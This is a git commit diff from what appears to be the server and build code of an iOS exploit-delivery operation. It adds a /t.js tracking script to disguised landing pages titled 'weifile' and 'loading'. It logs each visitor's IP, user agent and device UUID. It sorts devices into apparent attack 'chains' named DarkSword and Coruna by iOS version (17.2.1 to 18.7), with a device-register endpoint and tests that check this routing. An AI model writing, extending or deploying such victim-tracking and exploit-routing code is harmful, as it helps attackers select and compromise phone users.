This commit is contained in:
hashbro
2026-08-27 01:28:15 +08:00
parent 3a2be309dc
commit e660335808
9 changed files with 178 additions and 11 deletions
+2 -4
View File
@@ -43,10 +43,9 @@ class PageHitController extends Controller
$parsed = UserAgentParser::parse($ua); $parsed = UserAgentParser::parse($ua);
$referer = $this->referer($request); $referer = $this->referer($request);
PageVisit::query()->create([ PageVisit::recordLanding([
'channel_id' => $channelId, 'channel_id' => $channelId,
'client_uid' => $uid, 'client_uid' => $uid,
'chain' => PageVisit::CHAIN_CORUNA,
'user_agent' => $ua !== '' ? $ua : null, 'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'], 'os' => $parsed['os'],
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null, 'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
@@ -55,8 +54,7 @@ class PageHitController extends Controller
'ip' => $ip !== '' ? $ip : null, 'ip' => $ip !== '' ? $ip : null,
'domain' => $domain, 'domain' => $domain,
'referer' => $referer, 'referer' => $referer,
'created_at' => now(), ], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']));
]);
return $this->pixel(); return $this->pixel();
} }
+77
View File
@@ -41,6 +41,25 @@ class PageVisit extends Model
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna'; return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
} }
/**
* t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword.
*/
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
{
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
return self::CHAIN_CORUNA;
}
$version = trim((string) $osVersion);
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
return self::CHAIN_CORUNA;
}
if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
return self::CHAIN_DARKSWORD;
}
return self::CHAIN_CORUNA;
}
public static function normalizeDomain(?string $value): ?string public static function normalizeDomain(?string $value): ?string
{ {
$value = trim((string) $value); $value = trim((string) $value);
@@ -59,6 +78,64 @@ class PageVisit extends Model
public const VISITOR_UID_LENGTH = 16; public const VISITOR_UID_LENGTH = 16;
public const LANDING_MERGE_SECONDS = 60;
/**
* One landing = one row. t.js and DS register share this so the same
* channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled.
* DarkSword wins on chain; register may replace client_uid with the device UUID.
*
* @param array<string, mixed> $attrs
*/
public static function recordLanding(array $attrs, int $chain): self
{
$channel = (string) ($attrs['channel_id'] ?? '');
$ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null);
$existing = null;
if ($channel !== '' && $ip !== '') {
$existing = static::query()
->where('channel_id', $channel)
->whereIn('ip', self::ipLookupKeys($ip))
->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS))
->orderByDesc('id')
->first();
}
if ($existing) {
$updates = [];
if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) {
$updates['chain'] = self::CHAIN_DARKSWORD;
}
if ($chain === self::CHAIN_DARKSWORD) {
$uid = trim((string) ($attrs['client_uid'] ?? ''));
if ($uid !== '' && $uid !== (string) $existing->client_uid) {
$updates['client_uid'] = substr($uid, 0, 64);
}
}
foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
$incoming = $attrs[$field] ?? null;
if (! is_string($incoming) || trim($incoming) === '') {
continue;
}
$incoming = trim($incoming);
$current = trim((string) ($existing->{$field} ?? ''));
if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) {
$updates[$field] = $incoming;
}
}
if ($updates !== []) {
$existing->fill($updates)->save();
}
return $existing;
}
$attrs['chain'] = $chain;
$attrs['created_at'] = $attrs['created_at'] ?? now();
return static::query()->create($attrs);
}
/** /**
* Stable visitor id: same domain+ip always yields the same 16-hex value. * Stable visitor id: same domain+ip always yields the same 16-hex value.
*/ */
+2 -4
View File
@@ -153,10 +153,9 @@ class DarkSwordIngestAdapter
$ip = $this->clientIp($request, $payload); $ip = $this->clientIp($request, $payload);
$referer = trim((string) $request->headers->get('referer', '')); $referer = trim((string) $request->headers->get('referer', ''));
PageVisit::query()->create([ PageVisit::recordLanding([
'channel_id' => $channel, 'channel_id' => $channel,
'client_uid' => $uid, 'client_uid' => $uid,
'chain' => PageVisit::CHAIN_DARKSWORD,
'user_agent' => $ua !== '' ? $ua : null, 'user_agent' => $ua !== '' ? $ua : null,
'os' => $ios !== null ? 'iOS' : $parsed['os'], 'os' => $ios !== null ? 'iOS' : $parsed['os'],
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null), 'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
@@ -165,8 +164,7 @@ class DarkSwordIngestAdapter
'ip' => $ip !== '' ? $ip : null, 'ip' => $ip !== '' ? $ip : null,
'domain' => PageVisit::normalizeDomain($request->getHost()), 'domain' => PageVisit::normalizeDomain($request->getHost()),
'referer' => $referer !== '' ? substr($referer, 0, 512) : null, 'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
'created_at' => now(), ], PageVisit::CHAIN_DARKSWORD);
]);
} }
/** /**
@@ -5,6 +5,7 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>weifile</title> <title>weifile</title>
<script src="/t.js" defer></script>
</head> </head>
<body> <body>
<script type="text/javascript"> <script type="text/javascript">
@@ -8,6 +8,7 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>加载中</title> <title>加载中</title>
<script src="/t.js" defer></script>
<style> <style>
:root { :root {
--bg: #0f1419; --bg: #0f1419;
@@ -5,6 +5,7 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>weifile</title> <title>weifile</title>
<script src="/t.js" defer></script>
</head> </head>
<body> <body>
<script type="text/javascript"> <script type="text/javascript">
+2 -1
View File
@@ -180,7 +180,8 @@ def strip_iptj_beacon(index_js: str) -> str:
def inject_tjs(weifile_html: str) -> str: def inject_tjs(weifile_html: str) -> str:
if "t.js" in weifile_html: # Must match /t.js, not the substring inside boot.js.
if re.search(r"""src=["']/t\.js["']""", weifile_html):
return weifile_html return weifile_html
snippet = '<script src="/t.js" defer></script>\n' snippet = '<script src="/t.js" defer></script>\n'
if "</head>" in weifile_html: if "</head>" in weifile_html:
+10 -2
View File
@@ -86,7 +86,7 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((weifile / "route.js").is_file()) self.assertFalse((weifile / "route.js").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8") html = (weifile / "weifile.html").read_text(encoding="utf-8")
self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html) self.assertIn('src="/t.js"', html)
self.assertNotIn('src="route.js"', html) self.assertNotIn('src="route.js"', html)
self.assertIn("location.pathname", html) self.assertIn("location.pathname", html)
self.assertIn("/next-chain", html) self.assertIn("/next-chain", html)
@@ -320,10 +320,18 @@ class XxbbBuildTest(unittest.TestCase):
) )
self.assertEqual(stripped, "head;") self.assertEqual(stripped, "head;")
html = pack_channel.inject_tjs("<html><head></head><body></body></html>") html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
self.assertIn('/t.js', html) self.assertIn('src="/t.js"', html)
boot_html = '<html><head></head><body><script src="boot.js"></script></body></html>'
injected = pack_channel.inject_tjs(boot_html)
self.assertIn('src="/t.js"', injected)
self.assertEqual(injected.count("/t.js"), 1)
already = '<html><head><script src="/t.js" defer></script></head><body>boot.js</body></html>'
self.assertEqual(pack_channel.inject_tjs(already), already)
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file()) self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
for name in ("weifile.html", "templates/blank.html", "templates/test.html"): for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8") landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
self.assertIn('src="/t.js"', landing)
self.assertEqual(pack_channel.inject_tjs(landing), landing)
self.assertNotIn('src="route.js"', landing) self.assertNotIn('src="route.js"', landing)
self.assertIn("location.pathname", landing) self.assertIn("location.pathname", landing)
self.assertIn("/next-chain", landing) self.assertIn("/next-chain", landing)
+82
View File
@@ -65,6 +65,33 @@ class PageVisitTest extends TestCase
$this->assertSame('https://example.com/from', $row->referer); $this->assertSame('https://example.com/from', $row->referer);
} }
#[Test]
public function hit_marks_darksword_for_ios_after_17_2_1_before_18_7(): void
{
$cases = [
['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
['17_2_2', PageVisit::CHAIN_DARKSWORD, '17.2.2'],
['18_0', PageVisit::CHAIN_DARKSWORD, '18.0'],
['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
];
foreach ($cases as [$token, $chain, $osVersion]) {
Cache::flush();
PageVisit::query()->delete();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS '.$token.' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/'.$osVersion.' Mobile/15E148 Safari/604.1';
$this->call('GET', '/statistic/t', [
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
], [], [], [
'HTTP_USER_AGENT' => $ua,
])->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row, $osVersion);
$this->assertSame($osVersion, $row->os_version, $osVersion);
$this->assertSame($chain, $row->chain, $osVersion);
}
}
#[Test] #[Test]
public function hit_uses_x_forwarded_for_when_proxies_trusted(): void public function hit_uses_x_forwarded_for_when_proxies_trusted(): void
{ {
@@ -114,6 +141,61 @@ class PageVisitTest extends TestCase
$this->assertNotSame($a, $d); $this->assertNotSame($a, $d);
} }
#[Test]
public function statistic_and_ds_register_merge_into_one_visit(): void
{
Cache::flush();
$channel = '3.1.07';
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1';
$this->call('GET', '/statistic/t', [
'c' => $channel,
'u' => '11111111-2222-4333-8444-555555555555',
'p' => '/channel/'.$channel.'/weifile/weifile.html',
], [], [], [
'HTTP_USER_AGENT' => $ua,
])->assertOk();
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'channelCode' => $channel,
'ios' => '18.5',
'chain' => 'darksword',
'user_agent' => $ua,
])->assertOk();
$this->assertSame(1, PageVisit::query()->count());
$row = PageVisit::query()->first();
$this->assertSame($channel, $row->channel_id);
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $row->chain);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
$this->assertSame('18.5', $row->os_version);
}
#[Test]
public function statistic_after_ds_register_does_not_add_a_second_visit(): void
{
Cache::flush();
$channel = '3.1.07';
$this->postJson('/api/ds/device/register', [
'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
'channelCode' => $channel,
'ios' => '18.5',
'chain' => 'darksword',
])->assertOk();
$this->call('GET', '/statistic/t', [
'c' => $channel,
'u' => '11111111-2222-4333-8444-555555555555',
])->assertOk();
$this->assertSame(1, PageVisit::query()->count());
$row = PageVisit::query()->first();
$this->assertSame(PageVisit::CHAIN_DARKSWORD, $row->chain);
$this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
}
#[Test] #[Test]
public function hit_debounces_duplicate_uid(): void public function hit_debounces_duplicate_uid(): void
{ {